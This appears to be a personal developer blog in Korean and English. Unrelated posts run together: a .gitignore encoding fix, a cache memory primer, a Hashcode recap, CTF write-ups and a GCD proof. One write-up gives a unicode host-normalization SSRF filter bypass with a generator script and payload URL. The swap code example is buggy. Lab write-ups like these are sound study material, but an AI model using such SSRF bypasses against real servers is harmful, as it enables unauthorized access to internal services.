Windows에서 개발환경 구축하다가 원인을 모르고 gitignore가 동작하지 않은 경험이 있어서 이를 어떻게 해결했는지 기록으로 남기기로 했다.
windows에서 wsl을 사용하지 않고 vscode로 코딩을 하다가, .gitignore파일을 echo "node_modules" >> .gitignore로 생성을 했는데 이것이 문제의 원인이었다.
이런식으로 파일을 생성하게 되면 .gitignore 파일의 텍스트 인코딩이 UTF-16LE로 설정되게 되는데, git에서 이 인코딩을 제대로 인식하지 못해서 gitignore에 파일 명을 넣어놔도 git에서 제대로 동작하지 못하는 것이다. 이를 UTF-8 인코딩으로 다시 바꾸어서 저장을 해주면 잘 동작하게 된다.
가끔 공부나 일 하기 싫을때 글을 한번씩 쓰려고 하는데, 이번에는 캐시 메모리에 대해 이야기 해보고자 한다. 사실 캐시와 관련된 배경 지식들이 짜잘한 것들이 꽤나 있는데 이것들을 한번에 다 다루려고 하면 글이 길어지고 작성하기도 귀찮아지니, 조금씩 점진적으로 글 내용을 추가해서 작성해보고자 한다.
일단 캐시 메모리와 관련된 내용은 컴퓨터공학과 학부 전공 과목 중 컴퓨터구조(Computer Architecture) 과목에서 자세히 다룬다. 하지만 컴퓨터공학을 전공하지 않았거나, 해당 과목을 수강하지 않았거나, 아니면 오래되어서 까먹었다던지 하는 사람들에게 다시 리마인드 시켜주거나 개괄적인 내용을 전달할 수 있는 글을 작성해보고자 한다.
캐시와 버퍼의 차이
캐시(Cache)와 많이 혼용되는 개념 중 버퍼(buffer)라는 것이 있는데, 이 둘은 일단 존재 목적이 다르다. 캐시는 처리속도가 차이나는 장치간의 상호작용 시, 이 처리속도 차이로 인한 성능 저하를 완화시켜 성능을 향상시켜주는 역할을 한다. 캐시와는 달리 버퍼는 데이터를 일시적으로 옮기면서 손실을 방지하는 보조 장치 같은 느낌이다.
이렇게만 설명하면 아직 감이 잘 안올 것인데, 간단한 예시를 들어보겠다. 부대찌게 식당에 가서 큰 부대찌게 그릇이 있고, 내 앞에는 앞접시가 있다. 보통 이 앞접시에 부대찌개를 일정량 덜어서 먹을 것인데, 부대찌게 그릇이 주 메모리(Main Memory)이고, 앞접시가 캐시 메모리(Cache Memory)라고 볼 수 있다.
이때 중요한 점은, 큰 부대찌게 그릇은 양이 크고, 앞접시는 양이 작다. 그리고 밥 먹는 사람이 부대찌개 그릇까지 수저를 가져가서 음식을 퍼나르는데는 시간이 많이 걸리고, 앞접시까지 수저를 가져가는 데에는 시간이 조금 걸린다. 부대찌게 그릇까지 닿는데에 100초가 걸리고, 앞접시 까지 닿는데에 1초가 걸린다면 이는 실제 주 메모리와 캐시 메모리와의 관계가 비슷해진다. (주 메모리와 캐시 메모리의 읽기쓰기의 속도 차이는 100배 정도라고 한다). 여기 까지 이해했으면 여러분은 캐시 메모리에 대해 어느정도 감을 잡았을 것이다.
그러면 버퍼에 대한 예시도 한번 들어보자.
여러분들은 C 언어 에서 swap 함수에 대해 한번들어본 적이 있을 것이다. swap 함수는 인자로 들어온 2개의 변수의 값을 서로 바꾸어 주는 역할을 한다.
void swap(int& a, int& b) {
int buffer = a;
a = b;
b = tmp;
}
자 위에 코드에서 여러분은 이제 버퍼가 뭔지 알게 되었다. a변수와 b변수의 값을 서로 바꿀 때, 그냥 대입(assignment)를 하면 기존의 a변수에 있던 값을 잃어버리게 되므로, 이 값을 임시로 저장할 공간이 필요하다. 그래서 임시 지역 변수를 하나 선언하는데 이 변수의 이름이 buffer이고 실제로 버퍼이다. 보통 버퍼라 하면 배열 형태로 된 것들만 생각하지만, 용도만 생각해 보면 이러한 변수도 버퍼가 된다.
메모리 계층구조 구성요소들
자 이제 캐시가 왜 필요한지 구체적으로 알아보자.
컴퓨터는 다양한 장치들로 구성되어 있지만 가장 필수적인 두가지를 한번 고르자면 CPU와 주 메모리(Main memory)이다. CPU는 기계어 Instruction 들을 fetch 해서 실행하고, 이 기계어 내용들에 따른 적절한 연산을 수행한다. 이 연산들은 대부분 레지스터나 메모리에서 값을 읽거나 쓰고, 산술연산을 한다.
레지스터
레지스터는 CPU에 있는 매우 작은 메모리 여럿이며, CPU 아키텍쳐에 따라 레지스터의 크기, 종류와 개수가 다르다. 범용 레지스터의 크기에 따라 CPU bit를 정의한다.
즉 32bit CPU는 범용 레지스터의 크기가 32bit이며, 64bit CPU는 범용 레지스터의 크기가 64bit이다. 그리고 이 때 범용 레지스터의 크기를 CPU의 워드 사이즈라고 하며, 이 워드 사이즈는 CPU가 기본적으로 처리하는 데이터의 크기이다.
그리고 레지스터의 경우 한번에 처리할 수 있는 데이터의 양이 수십 비트 밖에 안되는 매우 작은 메모리 이지만, 그 처리 속도는 매우 빠르다.
주 메모리
하지만 이렇게 적은 양의 데이터만 처리할 수는 없기 때문에 큰 크기의 메모리가 필요한데, 이것이 주 메모리, 우리가 흔히 말하는 램(RAM: Random Access Memory)라고 부르는 장치이다. 요즘 사용하는 주 메모리의 크기는 다양한데 대부분 8GB이상의 주 메모리를 사용하는 것 같다. 주 메모리는 레지스터를 구성하는 메모리 반도체 소자보다 값싼 소자 및 회로를 사용하므로 레지스터보다 큰 용량 대비 가격이 저렴하지만, 읽기 쓰기 속도가 100배 이상 차이날 정도로 성능 차이가 심하다.
CPU 레지스터와 주 메모리의 처리 속도 차리
CPU에서 연산을 하려면 주 메모리에서 레지스터로 값을 가져와야 하는데, 레지스터와 주 메모리의 읽기 쓰기(I/O) 속도 차이가 심하므로 주 메모리에서 극심한 병목 현상을 겪게 된다. CPU는 빠른 처리 속도를 가지고 있지만, 주 메모리에서 값을 받아오는 것을 기다리다 보니 처리 속도가 주 메모리의 속도로 하향 평준화가 되는 것이다.
캐시 메모리
첫 단락에서 언급 했듯, 이러한 레지스터와 주 메모리의 I/O 성능 차이를 완화시키기 위해 레지스터와 주 메모리 사이에 캐시 메모리를 도입했다. 캐시 메모리는 레지스터 보다는 메모리 사이즈가 더 크고, 주 메모리 보다는 메모리 사이즈가 작다. 그리고 레지스터와 같이 고속으로 처리할 수 있는 비싼 반도체 소자를 활용해서 빠른 읽기 쓰기가 가능하도록 제작하였다.
캐시 메모리의 동작 예시
그래서 이 캐시 메모리는 부대찌개의 앞접시 처럼, 레지스터가 바로 주 메모리로 접근 하는 것이 아닌 고속의 캐시 메모리에 데이터를 덜어서 가져가도록 하는 것이다. 캐시 메모리는 다음과 같은 시나리오로 동작한다.
CPU가 1번 주소의 메모리 값을 읽어오고자 한다.
CPU는 캐시 메모리를 참조해서 1번 주소의 데이터 값이 있는지 확인한다.
캐시 메모리에 1번 주소의 데이터가 값이 없다 = 이를 캐시 미스(Cache miss)라고 한다.
주 메모리의 1번 주소의 데이터 값을 Copy해서 캐시에 저장한다.
CPU가 1번 주소의 메모리 값을 다시 읽어오고자 한다.
CPU는 캐시 메모리를 참조해서 1번 주소의 데이터 값이 있는지 확인한다.
캐시 메모리는 1번 주소의 데이터가 값이 있다. = 이를 캐시 히트(Cache hit)라고 한다.
CPU는 느린 주 메모리 까지 접근할 필요 없니 캐시 메모리에서 1번 주소의 메모리 값을 읽어온다.
주 메모리에 접근할 때 100의 latency가 발생하고, 캐시 메모리에 접근할 때 1의 latency가 발생한다고 했을 때, 같은 값을 한번 불러서 여러번 읽는다면 굉장한 속도 효율을 낼 수 있다.
비슷하게 메모리에 값을 쓰는(Write) 경우도 캐시 메모리에만 값을 쓰는 방식으로 latency를 줄일 수 있다. 그러면 일시적으로 캐시 메모리의 데이터 값과, 주 메모리의 데이터 값이 다른 Memory inconsistency가 발생할 수 있는데 캐시 메모리에서 해당 주소값이 캐시 메모리에서 나가게 되는 경우 주 메모리에 바뀐 내용을 Write하게 된다. 이 정책을 Write back이라고 한다.
이와 달리 Write through라는 정책을 활용하면 메모리에 값을 써야 할 때, 캐시 메모리 뿐만 아니라 주 메모리에도 값을 쓴다. 이렇게 하면 Memory inconsistency가 발생하지 않지만 성능적으로는 느려진다.
스토리지
앞서 이야기한 레지스터, 캐시 메모리, 주 메모리는 전기의 공급이 끊기면 데이터가 사라지는 기억장치들이다. 이와 달리 전기의 공급이 끊겨도 데이터가 남아있는 보조기억장치가 있는데 주로 이들을 스토리지(Storage)라고 부르겠다. 우리에게 친숙한 하드디스크나 SSD와 같은 친구들이 이 스토리지에 해당한다. 이 스토리지는 용량 대비 가격이 매우 싸서 많은 데이터를 저장하기 적합하지만, 읽기 쓰기 속도는 주 메모리 보다도 더 느리다.
메모리 계층구조(Memory Hierarchy)
위에서 언급한 저장장치들을 피라미드 형태로 그려놓은 이미지이다. 직접 그리려고 했는데 너무 귀찮은 나머지 위키에서 퍼왔다.
위와 같은 형태를 메모리 계층구조라고 한다. 아래로 갈 수록 저장 공간의 크기가 커진다. 그 이유는 단위 용량 당 메모리 반도체 & 소자 & 구성요소의 가격이 값싸서 그렇다. 그리고 위쪽으로 갈 수록 처리속도가 빨라진다.
이러한 메모리 계층구조를 갖는 컴퓨터를 만드는 이유는 가성비 때문이다. 사실 캐시메모리 등을 구성하는 정적 메모리 소자로만 주 메모리를 만들면 굉장히 빠른 고성능의 컴퓨터를 쓸 수 있지만, 가격이 기하급수적으로 비싸지기 때문에 그렇게 하지않는다. 그렇다고 캐시 메모리를 빼서 가격을 낮추면 처리 속도가 너무 느려진다.
그런데 메모리가 위쪽으로 올라갈 수록 크기가 급격히 작아지는데 이러한 계층구조로 생각보다 꽤 괜찮은 가성비의 속도가 나오는 이유가 무엇일까? 이 이유로는 지역성이라는 소프트웨어의 특징 덕분이다.
지역성(Locality)
메모리 계층구조가 가성비를 가질 수 있는 이유로는 지역성이라는 소프트웨어, 컴퓨터 프로그램의 특징 덕분이다. 그리고 이 지역성은 시간 지역성(Temporal Locality)와 공간 지역성(Spatial Locality)로 나뉜다.
간단하게 이야기 하자면, 시간 지역성은 지금 1번지 메모리에 접근된 적이 있으면 가까운 시일 내에도 1번지 메모리에 접근될 확률이 높다는 것이다. 공간 지역성은 비슷하게 1번지 메모리에 접근된 적이 있으면 2,3번지 메모리에 접근될 확률이 높다는 것이다.
왜 그럴까?
우리가 프로그램을 작성하는 방식을 한번 생각해보자.
만약 CPU가 함수안의 코드를 실행한다고 하면, 그 함수 안에서는 함수의 인자와 지역변수들을 많이 활용할 것이다. 이것이 일단 시간 지역성이다. 그리고 for-loop와 같은 반복문의 경우 반복문 instruction 들이 계속 반복되므로 이 경우에도 시간 지역성이 만족된다.
그리고 배열같은 경우도 반복문으로 배열 순회를 한다던지 하면 arr[1]에 접근된 뒤 곧이어 arr[2]를 접근할 확률이 높을 것이다. 이러한 이유로 공간 지역성도 만족된다.
따라서 이런 특성 때문에 캐시 메모리와 같이 매우 작은 크기로도 꽤 괜찮은 성능 향상을 이룰 수 있다. 그리고 이런 지역성을 고려해서 캐시 메모리의 스케쥴링도 설계되어 있다.
LRU Cache scheduling 알고리즘과 Cache block size와 같은 내용들을 추가적으로 언급해야 하는데, 나중에 다시 써 보도록 하겠다.
가짜개발자(Toy Programmer)팀은 회사에서 알고리즘 공부를 같이 하던 동기 4명이서 출전한 팀이다.
첫 출전 치곤 나쁘지 않은 성적이라 생각한다.
Google Hashcode란
오랜만에 포스팅을 올린다.
Google에는 3가지 종류의 Coding Competition이 있는데, Codejam, Kickstart, Hashcode이다.
Codejam과 Kickstart은 여러 번 참여해본 경험이 있는데 hashcode의 경우 팀전이기도 하고, 뭐 어떤 문제를 푸는지 그런 정보도 모르고 대회 시간이 새벽이기도 해서 별 생각 없었다가, 회사 동기형의 추천으로 어째저째 회사 동기들 4명으로 팀을 꾸리게 되었다.
같이 알고리즘 공부를 하던 친구들이라 딱히 크게 준비는 안해도 어느정도는 풀지 않을까 싶었다. 그리고 동기형네 파트 사람이 추천해줘서 어느정도 정보도 있었고, 같이 시험을 볼 장소 등도 제공이 되었다.
시험 방식
hashcode는 kickstart, codejam과는 조금 비슷하면서 다른 coding competition이다.
일단 2~4인의 팀을 꾸려야 하며, 혼자서는 참여할 수 없다. 만약 같이 참여할 사람이 없다면 hub나 facebook 커뮤니티 등에서 팀원을 찾아서 같이 참여할 수 있다.
Hub는 hashcode 사이트에서 제공하는 커뮤니티로, 학교나 회사 등의 물리적 지역의 거점으로 팀원을 찾을 수 있는 커뮤니티 같은 것이다. 예전에는 물리적인 hub로 장소가 정해져있던것으로 보이는데, 2021년 올해에는 코로나 때문에 Virtual Hub라고 해서 온라인으로 된 hub를 제공하는 것 같다.
문제 형식
일반적인 Algorithm Problem Solving 대회에서 출제하는, 결정적 알고리즘으로 Correctness, Performance(Time/Memory)를 측정하여 Pass/Fail을 체크하는 것이 아니라, NP 문제와 같은 문제를 근사해를 통해 구해서 최대한 높은 점수를 내는 방식이다. Topcoder의 Marathon Match와 비슷한 유형의 문제이다.
다만 탑코더 마라톤 매치는 1~2주 씩 진행하는 것에 비해, 이 해시코드는 3시간 30분 내에 4명의 팀에서 하나의 문제를 푼다는 점이 다르다.
그리고 대략 5~6개 정도의 Test Case Input을 모두 제공하며, 이 데이터 셋의 특성에 따라 각각 다른 방식으로 Output을 만들어내어 제출해도 관계없다. 그리고 Output 파일을 만들기 위한 소스코드도 제출하긴 하는데, 치팅 등을 확인하기 위한 용도로만 보이고, 크게 중요해 보이진 않았다. zip파일로 소스코드를 제출할 수 있게 되어있는 것으로 보아서, test case별로 다른 소스코드를 작성한 경우 압축해서 업로드 하면 되는 것으로 보인다.
그리고 여러번 제출하면, 각각 test case중에서 가장 높은 점수를 기준으로 반영이 된다.
후기
사실 나는 학부시절 ICPC도 출전해보지 못해서, 팀 단위의 Coding Competition은 출전해본 적이 없다.(해커톤은 있긴 하구나) 따라서 첫 팀전 코딩대회로서의 의미가 있었다고 생각한다.
제작년 다른 팀 후기들을 보면, Test Case별로 각자 하나씩 잡아서 코딩을 했다고 하는데, 이번 문제의 경우는 하나의 Source Code로 모든 input test case를 죄다 돌린 뒤 제출을 계속하는 방식으로 진행했었다.
개개인이 코딩에 집중하였을때 서로 말 걸면 반응하기 쉽지 않았던 점을 다음해 대회 진행때 참고해야 할 것 같다.
오랜만에 회사생활의 반복됨에서 빠져나와 살아있음을 느끼게 해 준 대회였다.
제출했던 코드들 등은 팀원 중 한명인 happy hacker가 업로드한 아래 깃허브에서 확인해볼 수 있다.
It is a kind of SSRF(Server side request forgery) challenge.
But there are filters checking data type, input type.
if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");
The filter code above means, no duplicate characters are not allowed.
If you use character a 'x', you cannot use that char anymore. Because, data-structure Set reduces duplicate element.
To make the url http://the.c0o0o0l-fl444g.server.internal:80 with no duplicate word is main challenge detail.
Host splitting attack
By using host splitting attack, we can do that.
Main reason the host splitting attack is possible, the unicode normalization spec of http implementation.
If you try to connect http://www.ⓐⓑⓒ.com, it will normalized to www.abc.com, this behavior is not bug.
I tried bruteforce all range in unicode char, can make similar characters with target domain.
#-*- coding:utf-8 -*-
import sys
target = "HTtP:/\\the.c0o0o0l-fl444g.server.internal"
ans = list(target)
print (ans)
print (len(ans))
chars = set(target)
req = {}
for c in chars:
if target.count(c) > 1:
req[c] = target.count(c) - 1
print (req)
for v in (range(256, 0xffff)):
try:
if len(req) == 0:
break
result = chr(v).encode('idna').decode('utf-8')
if result in req.keys():
print(result, v, chr(v))
for i in range(len(ans)):
if ans[i] == result:
ans[i] = chr(v)
break
req[result] = req[result] - 1
if req[result] == 0:
del req[result]
except:
pass
print (req)
print ("HTtP:/\\" + "".join(ans)[7:])
# new URL("HTtP:/\ⓣhℯ.c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿＴernal").origin == 'http://the.c0o0o0l-fl444g.server.internal'
It returns similar host name.
But it doesn't work at javascript function, because of invalid dot(.) substitution unicode character.
So, I run bruteforce with javascript
When you type the below value, you can get the flag!
HTtP:/\ⓣhℯ。c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ．iⁿＴernal
Time to Draw
This challenge provides server code too.
I didn't back-up challenge details, only solved the problem.
As the link say, prototype pollution is like belowed.
__proto__ === Object.prototype
If you can change the value of someVariable.__proto__.token, you can change all token member variable of object that does not have member variable name 'token'.
나는 아직 주니어다. 지금 직장에 2018년 7월쯤에 입사를 했고, 지금 글을 쓰는 2021년 1월 현재 2년하고 반정도 지났다.
이전에 스타트업에 11개월정도 근무를 했으니 총 근무 년수는 3년 반 정도 된다고 볼 수 있다.
뭐 이정도 경력이면 주니어 인가? 라는 질문에 그렇다고 대답하는 회사도 있을 수 있고 아닐 수도 있고. 그러면 주니어란 무엇일까 한번 생각해보자.
주니어와 시니어를 가르는 차이는?
사실 명확하게 정의된 단어는 아니다. 하지만 여기서는 이렇게 정의해보고자 한다.
업무 방향을 잡고 혼자서 잘 업무를 이끌어가거나, 다른 동료를 이끌어 갈 수 있는 사람을 시니어라고 생각해보자.
그러면 시니어에게 이끌려 가는 사람은 주니어가 된다.
주니어는 언제까지 주니어인가?
그러면 주니어는 언제까지 주니어일 것인가? 시니어의 도움이 필요없게 되어 스스로 업무를 이끌어 나갈 수 있으면 시니어가 되는 것인가? 그러면 어떻게 하면 스스로 업무를 이끌어 나갈 수 있게 되는가?
업무 경험이 많아져서 왠만한 업무들을 잘 하게 되면 시니어 인가?
그러면 경력이 적당히 쌓이면 시니어가 되는 것인가?
아니면 박사 학위를 취득하면 시니어로 시작을 하는 것인가?
IT나 엔지니어링 분야에서 중요한 명제가 하나 있다. "경력 = 실력 이 아니라는 것"이다.
단순히 경력이 쌓인다고 해서 시니어가 될 수 있는 업무 역량과 리딩 능력이 생기지는 않는다는 것이다.
주니어는 그러면 따르기만 하면 되는 것인가?
주니어는 시니어의 리드를 따르면 되기 때문에 그 것만 계속 하면 되는 것일까?
아니면 시니어의 리드랑 상관없이 스스로 의견을 내고 그 대로 해본다던지 등을 해야 하는 것인가?
주니어로 몇 년 이상 있으면 저절로 시니어가 될까?
사실 이와 관련된 관용어로서 이러한 말이 있다.
"자리가 사람을 만든다."
군대의 분대장들은 분대장이 될 리더쉽이 있기 때문에 분대장을 하는 것일까, 아니면 분대장이라는 자리가 분대장답게 사람을 만드는 것일까?
사실 둘 다라고 볼 수 있겠다.
분대장을 될 만큼 최소한의 군대생활 경험이 쌓였으며, 동기 적정한 짬을 먹은 사람 중 분대장에 더 적합하고 하고싶어하는 자가 분대장이 된다. 그리고 분대장의 위치에 있으면서 필요한 능력들을 스스로 찾아내고 하려고 할 것이다.
스스로 생각한다는 것은
사실 주니어 개발자라고 한 들 무조건적으로 시니어의 말이 다 맞다고 생각하고 따를 필요는 없다. 때때로 개인의 의견을 내보고 다른사람들과 의견이 어떤점에서 다른지 이러한 부분들을 항상 고민하고 생각해야 한다.
시니어로 쳐주는 연차가 되었다고 해서 딱 하고 시니어의 인사이트와 리딩 능력이 생기진 않는다. 주니어때부터 끊임없이 연구하고 고민하고 의견을 내고 시도하고 학습해야 자연스럽게 시니어 포지션이 요구하는 인사이트와 능력이 생기는 것이다.
시니어들이 주니어에게 의견을 물어볼 수 있다. 이러한 질문을 던지는 것 자체가 주니어가 성장할 수 있는 발판이라고 생각한다.
나는 아직 주니어라서 모르겠다고 하는 것은 스스로의 한계를 규정짓은 행위이다.
물론 이때 내리는 판단이 틀릴 수 있지만, 또 스스로의 실패로부터 배우고 나아가는 과정 하나하나가 중요한 포인트가 될 것이다.
Problem based learning
PBL이라고 하는 학습법이 이러한 부분에 도움이 되지 않을까 싶다. 뭔가 어려운 난제, 해결법이 명확하지 않은 문제에 대해 지레 겁먹고 이건 별 방법이 없을거야 하고 포기하는 것과, 어떻게든 고민해서 해결법을 찾아보는 것. 두 가지 태도는 확연히 다른 결과를 낸다. 어려운 난제에 대한 해결법은 남들도 다 모르기 때문에, 어떻게든 접근해서 해결 비슷한 것이라고 한다면 그것은 무조건 성과가 된다.
이미 성과가 난 이후 "아 그래 이렇게 쉽게 되잖아?" 라고 하는 것은 이미 처음 해결법을 발견한 사람과는 상당한 격차가 있다. 콜럼버스의 달걀과 같은 것이다.
자신이 관심있는 문제에 득달같이 달려들어서 최대한 고민하고, 생각하여 무엇이라도 결과를 만들어 낸다면 그 자체가 본인의 성장에 대한 좋은 자양분이 될 것이다.
주도적으로 생각하고, 표현하라
감이 안잡히는 경우 자신만의 접근 방법을 알아내어 어떻게든 자신만의 의견을 낸 뒤, 이를 표현하라. 이러한 태도는 분야를 막론하고 자기자신을 주도적이고 진취적인 사람으로 만들어 줄 것이며 성장의 밑거름이 되는 핵심적인 태도라고 생각한다.
유명한 알고리즘 중 하나로 유클리드 호제법(Euclid's GCD Alogirhtm)이 있다. 이는 2개의 자연수의 최대공약수(GCD: Greatest Common Divisor)를 구하는 알고리즘이다.
기하학의 아버지인 유클리드가 기원전 300년쯤에 개발한 알고리즘이다.
알고리즘 자체는 간단한데, 어떻게 이 알고리즘이 성립하는지 그러한 부분들부터 차근차근 한번 정리하면서 알아보자.
유클리드 호제법 증명
//(GCD(x, y)//)를 자연수 //(x//), //(y//)의 최대공약수라고 하자.
만약 //(x=y//)인 경우 아래는 자명하다.
//(GCD(x,y) = GCD(x,x) = x//)
공약수의 성질
그리고 유클리드는 //(x>y//)인 경우, 아래의 성질도 성립함을 알아내었다.
//(GCD(x,y) = GCD(x-y, y)//)
뭔가 감이 안 올 수 있는데, 간단하게 증명된다고 한다.
//(d//)를 //(x//)와 //(y//)의 공약수라고 하자.
그러면 아래의 조건을 만족하는 정수 //(q_1//)과 //(q_2//)가 존재한다.
//(x=q_1d//) , //(y=q_2d//)
//(x-y=q_1d-q_2d=(q_1-q_2)d//)
따라서 //(d//)는 //(x-y//)의 약수이기도 하다.
비슷한 이유로 이 역도 가능하다는 것을 보일 수 있다. //(x-y//)와 //(y//)의 약수는 //(x//)의 약수이기도 하다.
따라서 //(x//)와 //(y//)의 공약수 집합은, //(x-y//)와 //(y//)의 공약수 집합과 일치한다.
따라서 그 집합에서 가장 큰 원소인 최대 공약수 역시 일치하게 된다.
따라서 //(GCD(x,y) = GCD(x-y, y)//)가 성립한다.
Naive한 유클리드 호제법
위의 공약수의 성질을 이용해서 x와 y가 같아질 때 까지, 큰 값에서 작은 값을 빼는 방식으로 알고리즘을 수행해볼 수 있다.
이는 아래 두 가지 성질을 이용한 것이다.
//(GCD(x,x) = x//)
//(GCD(x,y) = GCD(x-y, y)//)
int gcd(const int K, const int M) {
int k = K; // 간단하게 불변식을 표현하기 위해
int m = M; // 인자를 상수로 고정하고
// 계산을 위해 지역변수(사본)을 사용
// loop invariant(불변식): GCD(K,M) = GCD(k,m)
while (k != m) {
if (k > m) {
k = k-m;
} else {
m = m-k;
}
}
// 이 시점에서 k = m 이므로 , GCD(K,M) = GCD(k,m) = GCD(k,k) = k
return k;
}
위와 같은 코드를 통해서 gcd를 쉽게 구해볼 수 있다. 지역변수로 사용한 k와 m은 처음 인자로 들어온 K와 M의 복사본으로 시작이 되며, gcd의 성질을 통해서 큰 값에서 작은 값을 빼더라도 같은 gcd를 갖게 된다.
좀 더 빠른 유클리드 호제법
위와 같은 방식으로, 큰 값에서 작은 값을 빼는 방식으로 유클리드 호제법이 구현이 가능한데, 이를 좀 더 빠르게 구현할 수 있다.
작은 값은 큰 값에서 뺄 수 있을 때 까지는 계속해서 빼기 연산을 수행할 것이므로, 이를 나머지 연산으로 대체하면 여러번 빼는 연산을 한번으로 대체할 수 있게 된다.
int gcd(int K, int M) {
int k = K;
int m = M;
// loop invariant(불변식): GCD(K,M) = GCD(k,m)
while (k !=0 && m != 0) {
if (k > m)
{ k = k % m; }
else
{ m = m % k; }
}
// 이 시점에서, GCD(K,M) = GCD(k,m) = max(k,m)
return max(k,m);
}
빼기를 반복하는 경우의 알고리즘에선 k=m이 될 때 알고리즘이 종료되지만, 나머지 연산을 하는 경우 k=m인 경우 k와 m중 하나의 값이 0이 되어버린다. 따라서 리턴값은 그 중 큰 값이 된다.
이 코드를 좀 더 간편하게 정리하여, k > m 임을 보장하는 방식으로 코드를 짠다면 아래처럼 코드가 된다.
int gcd(int K, int M) {
int k = max(K,M);
int m = min(K,M);
// loop invariant(불변식): k ≥ m ∧ GCD(K,M) = GCD(k,m)
while (m != 0) {
int r = k % m;
k = m;
m = r;
}
// 이 시점에서, GCD(K,M) = GCD(k,m) = GCD(k,0) = k
return k;
}
간결한 코드
int gcd(int a, int b)
{
return b ? gcd(b, a%b) : a;
}
This challenge seems very weird. When I connected the server with nc, there are some weird text lines.
The server get my number input of which modulus is less than 100.
$ nc challs.xmas.htsp.ro 6002
#########################
# _____ __ __ ____ #
# | __ \| \/ | _ \ #
# | |__) | \ / | |_) | #
# | ___/| |\/| | _ < #
# | | | | | | |_) | #
# |_| |_| |_|____/ #
# #
#########################
Welcome to our hacker-friendly terminal service!
This program is a part of our 'friendlier products for hackers' initiative.
Please select an action:
1. Open account
2. Report account
*you select 1*
That's great! As you probably know, our bank provides anonymous choose-your-interest-rate accounts.
Please keep in mind that the interest rate can be *any* number as long as its modulus is less than 100.
Interest: 1
Creating your account...
*your account has been created*
Received $1000 with attached note: 'ransom payment'
Balance: $1000
*request money withdrawal*
*error: your account must be at least 4 months old*
Month 1
-------
Balance: $1000.0
Your account has been reported by an anonymous user. CIA confiscated your funds.
Balance: $0.0
Month 2
-------
Balance: $0.0
Your account has been reported by an anonymous user. FBI confiscated your funds.
Balance: $0.0
Month 3
-------
Balance: $0.0
Your account has been reported by an anonymous user. INTERPOL confiscated your funds.
Balance: $0.0
Month 4
-------
Balance: $0.0
*you want to buy a flag for $10 million*
ERROR: Not enough funds.
There is a hint, the modulus is absolute value.
Furthermore, the challgne name is PMB(Python Math Bank). So I thought it is related with mathematical function in python.
I googled about abs function in python.
I found that return value of abs function when input parameter is not real number but complex number.(imaginary number).
The inspiration is following.
>>> abs(1+99j)
99.00505037623081
So, I entered the complex number (1+99j)
The result was awesome!
$ nc challs.xmas.htsp.ro 6002
#########################
# _____ __ __ ____ #
# | __ \| \/ | _ \ #
# | |__) | \ / | |_) | #
# | ___/| |\/| | _ < #
# | | | | | | |_) | #
# |_| |_| |_|____/ #
# #
#########################
Welcome to our hacker-friendly terminal service!
This program is a part of our 'friendlier products for hackers' initiative.
Please select an action:
1. Open account
2. Report account
*you select 1*
That's great! As you probably know, our bank provides anonymous choose-your-interest-rate accounts.
Please keep in mind that the interest rate can be *any* number as long as its modulus is less than 100.
Interest: 1+99j
Creating your account...
*your account has been created*
Received $1000 with attached note: 'ransom payment'
Balance: $1000
*request money withdrawal*
*error: your account must be at least 4 months old*
Month 1
-------
Balance: $(1000+99000j)
Your account has been reported by an anonymous user. CIA confiscated your funds.
Balance: $99000j
Month 2
-------
Balance: $(-9801000+99000j)
Your account has been reported by an anonymous user. FBI confiscated your funds.
Balance: $(-9801000+99000j)
Month 3
-------
Balance: $(-19602000-970200000j)
Your account has been reported by an anonymous user. INTERPOL confiscated your funds.
Balance: $(-19602000-970200000j)
Month 4
-------
Balance: $(96030198000-2910798000j)
*you want to buy a flag for $10 million*
GG!
X-MAS{th4t_1s_4n_1nt3r3st1ng_1nt3r3st_r4t3-0116c512b7615456}
Thanks to counterintuitive arithmetic result of complex number, we can get the flag!
Programming - Biggest Lowest
$ nc challs.xmas.htsp.ro 6051
So you think you have what it takes to be a good programmer?
Then solve this super hardcore task:
Given an array print the first k1 smallest elements of the array in increasing order and then the first k2 elements of the array in decreasing order.
You have 50 tests that you'll gave to answer in maximum 45 seconds, GO!
Here's an example of the format in which a response should be provided:
1, 2, 3; 10, 9, 8
Test number: 1/50
array = [6, 6, 5, 7, 3]
k1 = 1
k2 = 3
This is not the the cyber security challenge. It is such kind of a traditional competitive programming challenge.
The problem can be solved by deterministic computer algorithm.
This challenge is a easy one, just sort and print leading segment tailing segment.
The solver code is following
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote("challs.xmas.htsp.ro", 6051)
def solve():
global p
p.recvuntil("array = [")
array = sorted(list(map(int, p.recvuntil("]")[:-1].split(b","))))
p.recvuntil("k1 = ")
k1 = int(p.recvuntil("\n"))
p.recvuntil("k2 = ")
k2 = int(p.recvuntil("\n"))
ans1 = [str(array[i]) for i in range(k1)]
ans2 = [str(array[-i]) for i in range(1, k2+1)]
p.sendline(", ".join(ans1) + "; " + ", ".join(ans2))
res = p.recvuntil("!")
print (res)
if b"Good" not in res:
sys.exit()
for i in (range(50)):
print ("Doing... {}/50".format(i))
solve()
print (p.recv())
p.close()
# flag is X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}
Programming - Many Paths
$ nc challs.xmas.htsp.ro 6053
I swear that Santa is going crazy with those problems, this time we're really screwed!
The new problem asks us the following:
Given an undirected graph of size N by its adjacency matrix and a set of forbidden nodes, tell me how many paths from node 1 to node N of exactly length L that don't pass through any of the forbidden nodes exist (please note that a node can be visited multiple times)?
And if that wasn't enough, we need to answer 40 of those problems in 45 seconds and to give each output modulo 666013. What does that even mean!?
Test number: 1/40
N = 5
adjacency matrix:
0,1,1,0,1
1,0,0,0,1
1,0,0,0,1
0,0,0,0,0
1,1,1,0,0
forbidden nodes: [4]
L = 6
This challenge can be solved with simple dynamic programming idea.
Let's define the "dp[a][b]" => number of cases reach to 'b' place with length of 'a'
Then I can write solver with only python implementing this idea.
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote('challs.xmas.htsp.ro', 6053)
def solve():
mod = 666013
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
